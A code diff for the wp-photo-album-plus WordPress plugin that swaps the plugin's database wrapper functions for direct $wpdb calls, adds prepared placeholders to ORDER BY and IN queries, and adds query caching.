+			$ratcount = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating WHERE photo = %d AND status = 'publish'", $photo ) );
 			if ( $ratcount !== false ) {
 				$iret = wppa_update_photo( $photo, ['rating_count' => $ratcount] );
 				if ( $iret === false ) {
@@ -1705,11 +1627,7 @@
 			$allavgratcombi = $allavgrat.'|'.$ratcount;

 			// Compute dsilike count
-			$query = $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND value = -1
-									  AND status = 'publish'", $photo );
-			$discount = wppa_get_var( $query );
+			$discount = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating WHERE photo = %d AND value = -1 AND status = 'publish'", $photo ) );
 			if ( $discount === false ) {
 				wppa_echo( wp_json_encode( ['txt' => '0||108||'.$wartxt] ) );
 				wppa_exit();																// Fail on save
@@ -1881,8 +1799,7 @@

 			if ( ! $done ) switch ( $item ) {
 				case 'clear_ratings':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album );
-					$photos = wppa_get_results( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album ), ARRAY_A );
 					if ( $photos ) foreach ( $photos as $photo ) {
 						$iret1 = wppa_del_row( WPPA_RATING, 'photo', $photo['id'] );
 						$iret2 = wppa_update_photo( $photo['id'], ['mean_rating' => ''] );
@@ -1902,11 +1819,8 @@
 					}
 					break;
 				case 'set_deftags':	// to be changed for large albums
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album );
-					$photos = wppa_get_results( $query );
-
-					$query = $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album );
-					$deftag = wppa_get_var( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album ), ARRAY_A );
+					$deftag = $wpdb->get_var( $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album ) );

 					if ( is_array( $photos ) ) foreach ( $photos as $photo ) {

@@ -1927,11 +1841,8 @@
 					$done = true;
 					break;
 				case 'add_deftags':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album );
-					$photos = wppa_get_results( $query );
-
-					$query = $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album );
-					$deftag = wppa_get_var( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album ), ARRAY_A );
+					$deftag = $wpdb->get_var( $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album ) );

 					if ( is_array( $photos ) ) foreach ( $photos as $photo ) {

@@ -2099,10 +2010,7 @@
 				case 'setallscheduled':
 					$scheduledtm = wppa_get_album_item( $album, 'scheduledtm' );
 					if ( $scheduledtm ) {
-						$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos
-												  SET status = 'scheduled', scheduledtm = %s
-												  WHERE album = %d", $scheduledtm, $album );
-						$iret = wppa_query( $query );
+						$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'scheduled', scheduledtm = %s WHERE album = %d", $scheduledtm, $album ) );
 						$value = $scheduledtm;
 						$itemname = __( 'All photos set to scheduled per date', 'wp-photo-album-plus' );
 						$item = 'scheduledtm';
@@ -2187,7 +2095,7 @@

 			// Get the new data
 			wppa_cache_album( 'invalidate', $album );
-			$newalb = wppa_cache_album( $album ); // wppa_get_row( "SELECT * FROM $wpdb->wppa_albums WHERE id = $album" );
+			$newalb = wppa_cache_album( $album ); // $wpdb->get_row( "SELECT * FROM $wpdb->wppa_albums WHERE id = $album", ARRAY_A );
 			if ( $item == 'name' ) {
 				$fields['name'] = $newalb['name'];
 				$fields['sname'] = $newalb['sname'];
@@ -3446,8 +3354,7 @@

 			// Valid update request
 			else {
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE id = %d", $value, $item );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE id = %d", $value, $item ) );

 				/* translators: tagname */
 				$txt = sprintf( __( 'IPTC Tag %s updated', 'wp-photo-album-plus' ), $tag );
@@ -3590,8 +3497,7 @@

 			if ( substr( $option, 0, 16 ) == 'wppa_iptc_label_' ) {
 				$tag   = substr( $option, 16 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3604,8 +3510,7 @@
 			}
 			elseif ( substr( $option, 0, 17 ) == 'wppa_iptc_status_' ) {
 				$tag   = substr( $option, 17 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3618,8 +3523,7 @@
 			}
 			elseif ( substr( $option, 0, 16 ) == 'wppa_exif_label_' ) {
 				$tag   = substr( $option, 16 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET description = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET description = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3632,8 +3536,7 @@
 			}
 			elseif ( substr( $option, 0, 17 ) == 'wppa_exif_status_' ) {
 				$tag   = substr( $option, 17 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET status = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET status = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3980,8 +3883,7 @@

 				case 'wppa_rating_max':
 					if ( $value == 5 && wppa_opt( 'rating_max' ) == 10 ) {
-						$query = "SELECT id, value FROM $wpdb->wppa_rating";
-						$rats  = wppa_get_results( $query );
+						$rats = $wpdb->get_results( "SELECT id, value FROM $wpdb->wppa_rating", ARRAY_A );
 						if ( $rats ) {
 							foreach ( $rats as $rat ) {
 								wppa_update_rating( $rat['id'], ['value' => $rat['value'] / 2] );
@@ -3989,8 +3891,7 @@
 						}
 					}
 					if ( $value == 10 && wppa_opt( 'rating_max' ) == 5 ) {
-						$query = "SELECT id, value FROM $wpdb->wppa_rating";
-						$rats  = wppa_get_results( $query );
+						$rats  = $wpdb->get_results( "SELECT id, value FROM $wpdb->wppa_rating", ARRAY_A );
 						if ( $rats ) {
 							foreach ( $rats as $rat ) {
 								wppa_update_rating( $rat['id'], ['value' => $rat['value'] * 2] );
@@ -4078,8 +3979,7 @@
 							$alert = esc_js( __( 'An administrator can not be blacklisted', 'wp-photo-album-plus' ) );
 						}
 						else {
-							$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'pending' WHERE owner = %s", $value );
-							wppa_query( $query );
+							$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'pending' WHERE owner = %s", $value ) );
 							$black_listed_users = wppa_get_option( 'wppa_black_listed_users', array() );
 							if ( ! in_array( $value, $black_listed_users ) ) {
 								$black_listed_users[] = $value;
@@ -4097,8 +3997,7 @@
 					break;

 				case 'wppa_un_blacklist_user':
-					$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'publish' WHERE owner = %s", $value );
-					wppa_query( $query );
+					$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'publish' WHERE owner = %s", $value ) );
 					$black_listed_users = wppa_get_option( 'wppa_black_listed_users', array() );
 					if ( in_array( $value, $black_listed_users ) ) {
 						foreach ( array_keys( $black_listed_users ) as $usr ) {
@@ -4568,7 +4467,6 @@
 			$photo 		= $potd_a['potddata'];
 			$preview 	= wppa_get_potd_preview_html( $photo );
 			$pool 		= wppa_get_potd_pool_html();
-
 			echo wp_json_encode( ['offset' => $offset, 'seqno' => $seqno, 'preview' => $preview, 'pool' => $pool] );
 			break;

--- a/wp-photo-album-plus/wppa-album-admin-autosave.php
+++ b/wp-photo-album-plus/wppa-album-admin-autosave.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * create, edit and delete albums
-* Version 9.1.13.001
+* Version 9.2.01.001
 *
 */

@@ -14,7 +14,11 @@
 global $q_config;
 global $wppa_revno;
 global $wp_roles;
+static $cache;

+	// Init query cache
+	if ( ! $cache ) $cache = [];
+
 	// Are we legally here?
 	if ( ! current_user_can( 'wppa_admin' ) ) {
 		wp_die( esc_html__( 'Isufficient access rights', 'wp-photo-album-plus' ) );
@@ -94,9 +98,14 @@
 	}

 	// Get all albums and cache them
-	$query = "SELECT * FROM $wpdb->wppa_albums";
-	$albs  = wppa_get_results( $query );
-	wppa_cache_album( 'add', $albs );
+	if ( isset( $cache['all'] ) ) {
+		$albs = $cache['all'];
+	}
+	else {
+		$albs = $wpdb->get_results( "SELECT * FROM $wpdb->wppa_albums", ARRAY_A );
+		$cache['all'] = $albs;
+		wppa_cache_album( 'add', $albs );
+	}

 	// Fix orphan albums and deleted target pages
 	if ( $albs ) {
@@ -105,12 +114,7 @@
 				wppa_update_album( $alb['id'], ['a_parent' => -1] );
 			}
 			if ( $alb['cover_linkpage'] > 0 ) {
-				$query = $wpdb->prepare( "SELECT COUNT(*)
-										  FROM $wpdb->posts
-										  WHERE ID = %d
-										  AND ( post_type = 'page' OR post_type = 'post' )
-										  AND post_status = 'publish'", $alb['cover_linkpage'] );
-				$iret = wppa_get_var( $query );
+				$iret = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE ID = %d AND post_type IN ('page', 'post') AND post_status = 'publish'", $alb['cover_linkpage'] ) );

 				if ( ! $iret ) {	// Page gone?
 					wppa_update_album( $alb['id'], ['cover_linkpage' => 0] );
@@ -315,10 +319,8 @@
 				if ( ! wp_verify_nonce( wppa_get( 'nonce' ), 'wppa-nonce' ) ) {
 					wp_die( esc_html__( 'You do not have the rights to do this', 'wp-photo-album-plus' ) );
 				}
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos
-										  SET description = %s
-										  WHERE album = %d", wppa_opt( 'newphoto_description' ), $edit_id );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET description = %s WHERE album = %d", wppa_opt( 'newphoto_description' ), $edit_id ) );
+
 				/* translators: integer number */
 				wppa_ok_message( sprintf( __( '%d photo descriptions updated', 'wp-photo-album-plus' ), $iret ) );
 			}
@@ -328,10 +330,8 @@
 				if ( ! wp_verify_nonce( wppa_get( 'nonce' ), 'wppa-nonce' ) ) {
 					wp_die( esc_html__( 'You do not have the rights to do this', 'wp-photo-album-plus' ) );
 				}
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos
-										  SET description = ''
-										  WHERE album = %d", $edit_id );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET description = '' WHERE album = %d", $edit_id ) );
+
 				/* translators: integer number */
 				wppa_ok_message( sprintf( __( '%d item descriptions cleared', 'wp-photo-album-plus' ), $iret ) );
 			}
@@ -372,13 +372,12 @@
 			if ( in_array( $pano, array( '0', '1', '2' ) ) ) {

 				$done = 0;
-				$query = $wpdb->prepare( "SELECT id, photox, photoy, panorama, angle FROM $wpdb->wppa_photos
+
+				$todo = $wpdb->get_results( $wpdb->prepare( "SELECT id, photox, photoy, panorama, angle FROM $wpdb->wppa_photos
 										  WHERE album = %d
 										  AND ext IN ('jpg', 'png')
 										  AND panorama <> %d
-										  ORDER BY id", $edit_id, $pano );
-
-				$todo = wppa_get_results( $query );
+										  ORDER BY id", $edit_id, $pano ), ARRAY_A );
 				$tot = count( $todo );

 				if ( $tot ) {
@@ -511,8 +510,7 @@
 			$pviews 		= $treecounts['selfphotoviews'];
 			$tpviews 		= $treecounts['treephotoviews'];
 			$nsub 			= $treecounts['selfalbums'];
-			$query 			= $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = %d", $id );
-			$has_children  	= wppa_get_var( $query );
+			$has_children  	= $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = %d", $id ) );
 			$indexdtm 		= $albuminfo['indexdtm'];
 			$usedby 		= ( $albuminfo['usedby'] && $albuminfo['usedby'] != '..' ) ? explode( ".", trim( $albuminfo['usedby'], '. ' ) ) : array();
 			$capability 	= $albuminfo['capability'];
@@ -805,8 +803,7 @@

 								// Clicks
 								if ( wppa_switch( 'track_clickcounts' ) ) {
-									$query = $wpdb->prepare( "SELECT clicks FROM $wpdb->wppa_photos WHERE album = %d", $id );
-									$click_arr = wppa_get_col( $query );
+									$click_arr = $wpdb->get_col( $wpdb->prepare( "SELECT clicks FROM $wpdb->wppa_photos WHERE album = %d", $id ) );
 									wppa_echo( '
 									<div class="left">
 										<label>' .
@@ -1847,11 +1844,10 @@
 								<label>' .
 									__( 'Link to', 'wp-photo-album-plus' ) . '
 								</label><br>';
-									$query = "SELECT ID, post_type, post_title, post_date FROM $wpdb->posts
+									$pages = $wpdb->get_results( "SELECT ID, post_type, post_title, post_date FROM $wpdb->posts
 											  WHERE ( post_type = 'page' OR post_type = 'post' )
 											  AND post_status = 'publish'
-											  ORDER BY post_title ASC";
-									$pages = wppa_get_results( $query );
+											  ORDER BY post_title ASC", ARRAY_A );
 									if ( empty( $pages ) ) {
 										$result .= __( 'There are no posts/pages (yet) to link to.', 'wp-photo-album-plus' );
 									}
@@ -2342,9 +2338,8 @@
 			}
 		}

-		// Renew what we have
-		$query = "SELECT * FROM $wpdb->wppa_albums";
-		$albs = wppa_get_results( $query );
+		// Renew what we have, it may be changed
+		$albs = $wpdb->get_results( "SELECT * FROM $wpdb->wppa_albums", ARRAY_A );

 		// Switch to flat / collapsable table
 		if ( wppa_get( 'switchto' ) ) {
@@ -2431,8 +2426,7 @@

 					// Edit by id
 					if ( ! wppa_has_many_albums() && ! $no_albs ) {
-						$query = "SELECT id, crypt FROM $wpdb->wppa_albums ORDER BY id";
-						$albids = wppa_get_results( $query );
+						$albids = $wpdb->get_results( "SELECT id, crypt FROM $wpdb->wppa_albums ORDER BY id", ARRAY_A );
 						if ( ! wppa_user_is_admin() ) foreach( array_keys( $albids ) as $key ) {
 							if ( ! wppa_have_access( $albids[$key]['id'] ) ) {
 								unset( $albids[$key] );
@@ -2458,9 +2452,8 @@
 						/>';
 					}

-					// Filter by searchword
-					$query = "SELECT slug FROM $wpdb->wppa_index WHERE albums <> '' ORDER BY slug";
-					$opts = wppa_get_col( $query );
+					// Filter by searchwords
+					$opts = $wpdb->get_col( "SELECT slug FROM $wpdb->wppa_index WHERE albums <> '' ORDER BY slug" );
 					$f = wppa_get( 'filter' );
 					$header .= '
 					<select
@@ -2527,11 +2520,15 @@
 	$order_by 	= $parms['order'];
 	if ( ! in_array( $order_by, ['id', 'name', 'description', 'owner', 'a_order', 'a_parent'] ) ) $order_by = 'id';
 	$dir 		= $parms['dir'];
-	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'asc';
+	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'ASC';

 	// Read all albums, pre-ordered
-	$query = "SELECT * FROM $wpdb->wppa_albums ORDER BY $order_by $dir";
-	$albums = wppa_get_results( $query );
+	if ( $dir == 'ASC' ) {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i", $order_by ), ARRAY_A );
+	}
+	else {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i DESC", $order_by ), ARRAY_A );
+	}

 	// Remove non accessible albums
 	$temp = $albums;
@@ -2546,8 +2543,7 @@
 	$filter = wppa_get( 'filter' );

 	if ( $filter ) {
-		$query = $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter );
-		$filter_albs = wppa_get_var( $query );
+		$filter_albs = $wpdb->get_var( $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter ) );
 		$filter_albs = wppa_index_string_to_array( $filter_albs );

 		foreach( array_keys( $albums ) as $key ) {
@@ -2765,11 +2761,15 @@
 	$order_by 	= $parms['order'];
 	if ( ! in_array( $order_by, ['id', 'name', 'description', 'owner', 'a_order', 'a_parent'] ) ) $order_by = 'id';
 	$dir 		= $parms['dir'];
-	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'asc';
+	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'ASC';

 	// Read all albums, pre-ordered
-	$query = "SELECT * FROM $wpdb->wppa_albums ORDER BY $order_by $dir";
-	$albums = wppa_get_results( $query );
+	if ( $dir == 'ASC' ) {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i", $order_by ), ARRAY_A );
+	}
+	else {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i DESC", $order_by ), ARRAY_A );
+	}

 	// Remove non accessible albums
 	$temp = $albums;
@@ -2784,8 +2784,7 @@
 	$filter = wppa_get( 'filter' );

 	if ( $filter ) {
-		$query = $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter );
-		$filter_albs = wppa_get_var( $query );
+		$filter_albs = $wpdb->get_var( $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter ) );
 		$filter_albs = wppa_index_string_to_array( $filter_albs );

 		foreach( array_keys( $albums ) as $key ) {
@@ -2831,8 +2830,7 @@
 					$done = false;

 					// Add missing parent
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE id = %d", $parent );
-					$albums[] = wppa_get_row( $query );
+					$albums[] = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE id = %d", $parent ), ARRAY_A );
 				}
 			}
 		}
@@ -2842,8 +2840,8 @@
 	if ( $pagesize ) {
 		$current_ids = implode( '.', array_column( $albums, 'id' ) );
 		$all_ids = array_unique( explode( '.', wppa_alb_to_enum_children( $current_ids ) ) );
-		$query = "SELECT * FROM $wpdb->wppa_albums WHERE id in (" . implode( ',', $all_ids ) . ")";
-		$albums = wppa_get_results( $query );
+		$placeholders = implode( ',', array_fill( 0, count( $all_ids ), '%d' ) );
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE id IN ($placeholders)", $all_ids ), ARRAY_A );
 	}

 	// If any albums left, do the dirty work
@@ -3135,8 +3133,7 @@
 	$doit = false;
 	if ( wppa_user_is_admin() ) $doit = true;

-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE album < 0";
-	$trashed = wppa_get_var( $query );
+	$trashed = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE album < 0" );

 	if ( ! $trashed ) $doit = false;

@@ -3197,8 +3194,7 @@
 			$pendcount 		= $counts['pendselfphotos'];
 			$schedulecount 	= $counts['scheduledselfphotos'];
 			$haschildren 	= wppa_have_accessible_children( $album );
-			$query 			= $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE a_parent = %d", $id );
-			$pchildren 		= wppa_get_col( $query );
+			$pchildren 		= $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE a_parent = %d", $id ) );
 			if ( is_array( $pchildren ) ) foreach( array_keys( $pchildren ) as $key ) {
 				if ( ! wppa_have_accessible_children( $pchildren[$key] ) ) {
 					unset( $pchildren[$key] );
@@ -3390,21 +3386,27 @@
 // Find accessable sub albums
 function wppa_have_accessible_children( $alb ) {
 global $wpdb;
+static $cache;

+	if ( ! $cache ) $cache = [];
+
 	if ( is_array( $alb ) ) {
 		$id = $alb['id'];
 	}
 	else {
 		$id = $alb;
 	}
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d", $id );
-	$albums = wppa_get_results( $query );
+	if ( isset( $cache[$id] ) ) {
+		return $cache[$id];
+	}
+	$result = false;
+	$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d", $id ), ARRAY_A );

-	if ( ! $albums || ! count( $albums ) ) return false;
-	foreach ( $albums as $album ) {
-		if ( wppa_have_access( $album ) ) return true;
+	if ( $albums && count( $albums ) ) foreach ( $albums as $album ) {
+		if ( wppa_have_access( $album ) ) $result = true;
 	}
-	return false;
+	$cache[$id] = $result;
+	return $result;
 }

 // delete an album
@@ -3440,8 +3442,7 @@
 	}

 	// Photos in the album
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s", $id );
-	$photos = wppa_get_results( $query );
+	$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s", $id ), ARRAY_A );

 	if ( is_array( $photos ) ) {
 		foreach ( $photos as $photo ) {
@@ -3496,8 +3497,7 @@
 	$output = '';
     $crid = wppa_get( 'edit-id' );
 	$a_id = wppa_decrypt_album( $crid );
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY id LIMIT 1000", $a_id );
-	$photos = wppa_get_results( $query );
+	$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY id LIMIT 1000", $a_id ), ARRAY_A );

 	$cur_in_album = ( $cur < 1 ) || ( wppa_get_photo_item( $cur, 'album' ) == $a_id );

@@ -3575,52 +3575,19 @@

 	// If random...
 	if ( $albumorder_col == 'random' ) {
-
-		$query  = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %s ORDER BY RAND(%d)", $parent, wppa_get_randseed() );
-
-		$albums = wppa_get_results( $query );
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %s ORDER BY RAND(%d)", $parent, wppa_get_randseed() ), ARRAY_A );
 	}

 	// Not random
 	else {
-
+
 		// Ascending or descending
 		if ( $is_descending ) {
-			switch ( $albumorder_col ) {
-
-				case 'a_order':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY a_order DESC", $parent );
-					break;
-				case 'name':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY name DESC", $parent );
-					break;
-				case 'timestamp':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY timestamp DESC", $parent );
-					break;
-				default:
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY id DESC", $parent );
-
-			}
+			$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %i DESC", $parent, $albumorder_col ), ARRAY_A );
 		}
 		else {
-			switch ( $albumorder_col ) {
-
-				case 'a_order':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY a_order", $parent );
-					break;
-				case 'name':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY name", $parent );
-					break;
-				case 'timestamp':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY timestamp", $parent );
-					break;
-				default:
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY id", $parent );
-
-			}
+			$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %i", $parent, $albumorder_col ), ARRAY_A );
 		}
-
-		$albums = wppa_get_results( $query );
 	}

 	// Anything to do here ?
--- a/wp-photo-album-plus/wppa-album-covers.php
+++ b/wp-photo-album-plus/wppa-album-covers.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Functions for album covers
-* Version: 9.1.13.001
+* Version: 9.2.01.001
 *
 */

@@ -1204,6 +1204,7 @@
 	$user   = wppa_get_user();
 	$rand   = wppa_get_randseed( 'page' );
 	$allalb = str_replace( '.', ',', wppa_expand_enum( wppa_alb_to_enum_children( $alb ) ) );
+	$albarr = explode( ',', $allalb );
 	$temp 	= null;

 	// main_photo is 0? Default
@@ -1220,98 +1221,99 @@
 	if ( '-9' == $id ) {
 		$rs = wppa_get_randseed( 'page' );
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count ), ARRAY_A );
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY RAND(%d) LIMIT %d", $alb, $user, $rs, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY RAND(%d) LIMIT %d", $alb, $user, $rs, $count ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count ), ARRAY_A );
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// main_photo is -2? Last upload
 	if ( '-2' == $id ) {
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY timestamp DESC LIMIT %d", $alb, $count );
-			$temp = wppa_get_results( $query );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY timestamp DESC LIMIT %d", $alb, $count ), ARRAY_A );
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY timestamp DESC LIMIT %d", $alb, $user, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY timestamp DESC LIMIT %d", $alb, $user, $count ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY timestamp DESC LIMIT %d", $alb, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY timestamp DESC LIMIT %d", $alb, $count ), ARRAY_A );
 			}
-			$temp = wppa_get_results( $query );
 		}
 	}

 	// main_phtot is -1? Random featured
 	if ( '-1' == $id ) {
-		$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status = 'featured' ORDER BY RAND(%d) LIMIT %d",$alb, $rand, $count );
-		$temp = wppa_get_results( $query );
+		$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status = 'featured' ORDER BY RAND(%d) LIMIT %d",$alb, $rand, $count ), ARRAY_A );
 	}

+	$placeholders = implode( ',', array_fill( 0, count( $albarr ), '%d' ) );
+
 	// Random from children
 	if ( '-3' == $id ) {
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) ORDER BY RAND(%d) LIMIT %d", $allalb, $rand, $count );
-			$query = wppa_fix_query( $query );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) ORDER BY RAND(%d) LIMIT %d", array_merge( $albarr, [$rand], [$count] ) ), ARRAY_A );
 		}
 		else {
